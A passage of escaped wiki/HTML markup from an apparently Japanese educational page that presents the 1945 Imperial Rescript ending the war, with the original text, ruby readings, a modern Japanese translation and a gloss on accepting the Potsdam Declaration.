;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;諾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;旨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;むね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;通&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;告&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せしめたり。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：その共同宣言&lt;small&gt;（ポツダム宣言）&lt;/small&gt;を受諾するということを通知させた。&lt;/p&gt;
==== 共同宣言ヲ受諾 ====
*「共同宣言ヲ受諾」：当初は「米英支三国宣言」などと呼んでいた、いわゆる「[[w:ポツダム宣言|ポツダム宣言]]」を受諾するということ。

== 第三段落 ==
&lt;!--◆第三段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）抑〻帝國臣民ノ康寧ヲ圖リ萬&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;共榮ノ樂ヲ偕ニスルハ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;範ニシテ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;拳&amp;#xE0101;&lt;/span&gt;々措カサル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;曩ニ米英二國ニ宣戰セル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以モ亦實ニ帝國ノ自存ト東亞ノ安定トヲ&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;幾󠄁&amp;#xE0101;&lt;/span&gt;スルニ出テ他國ノ主權ヲ排シ領土ヲ&lt;span style=&quot;color:#500;&quot;&gt;&lt;!--〓--&gt;侵󠄁&lt;/span&gt;スカ如キハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ志ニアラス然ルニ&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰已ニ四歲ヲ閱シ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ陸&lt;span style=&quot;color:#500;&quot;&gt;海&amp;#xE0100;&lt;/span&gt;將兵ノ&lt;span style=&quot;color:#500;&quot;&gt;勇&amp;#xE0101;&lt;/span&gt;戰&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ百僚有司ノ勵&lt;span style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ一億衆&lt;span style=&quot;color:#800;&quot;&gt;&lt;!--〓--&gt;庻&amp;#xE0100;&lt;/span&gt;ノ奉公󠄁各〻最善ヲ盡セルニ拘ラス戰局必スシモ好轉セス世界ノ大勢亦我ニ利アラス加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ&lt;span style=&quot;color:#500;&quot;&gt;使&amp;#xE0101;&lt;/span&gt;用シテ&lt;span style=&quot;color:#500;&quot;&gt;頻&amp;#xE0100;&lt;/span&gt;ニ無辜ヲ&lt;span style=&quot;color:#500;&quot;&gt;殺&amp;#xE0100;&lt;/span&gt;傷シ慘&lt;span style=&quot;color:#500;&quot;&gt;害&amp;#xE0102;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;フ&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;眞ニ測ルヘカラサルニ至ル而モ尙&lt;span style=&quot;color:#500;&quot;&gt;交&amp;#xE0101;&lt;/span&gt;戰ヲ繼續セムカ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;ニ我カ民族ノ滅亡ヲ招來スルノミナラス&lt;span style=&quot;color:#500;&quot;&gt;延&amp;#xE0102;&lt;/span&gt;テ人&lt;span style=&quot;color:#500;&quot;&gt;類&amp;#xE0100;&lt;/span&gt;ノ&lt;span style=&quot;color:#500;&quot;&gt;文&amp;#xE0101;&lt;/span&gt;明ヲモ破却スヘシ斯ノ如クムハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;何ヲ以テカ億兆ノ赤子ヲ保シ皇&lt;span style=&quot;color:#500;&quot;&gt;祖&amp;#xFE00;&lt;/span&gt;皇宗ノ&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;靈ニ謝セムヤ是レ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;以ナリ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、
{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、
{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、
{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。
{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、
{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、
{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、

&lt;ruby&gt;&lt;rb&gt;固&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;より&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;志&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こころざし&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にあらず。&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るに&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;已&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;すで&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;四&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;歳&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;閲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けみ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;陸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;海&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;勇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;百&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;僚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;有&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;司&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;励&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;衆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;庶&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;奉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;公&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;各&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;〻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぜん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;尽&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せるに&lt;ruby&gt;&lt;rb&gt;拘&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かかわ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らず、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;必&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かなら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ずしも&lt;ruby&gt;&lt;rb&gt;好&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;転&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せず、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;勢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;また&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;われ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;利&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;り&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;あらず。&lt;ruby&gt;&lt;rb&gt;加之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しかのみならず&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;敵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;新&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あらた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;残&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ざん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;虐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;弾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;使&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;用&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;して、&lt;ruby&gt;&lt;rb&gt;頻&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しきり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;無&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;む&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;辜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;殺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;惨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;害&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;およ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぶ&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;真&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;測&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;るべからざるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;而&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;尚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;交&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;継&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;続&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんか、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;我&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;わ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亡&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぼう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;招&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;するのみならず、&lt;ruby&gt;&lt;rb&gt;延&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;人&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;類&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;るい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;文&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぶん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;明&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をも&lt;ruby&gt;&lt;rb&gt;破&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;は&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;却&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きゃく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;斯&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くんば、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;何&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なに&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;てか&lt;ruby&gt;&lt;rb&gt;億&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;兆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&g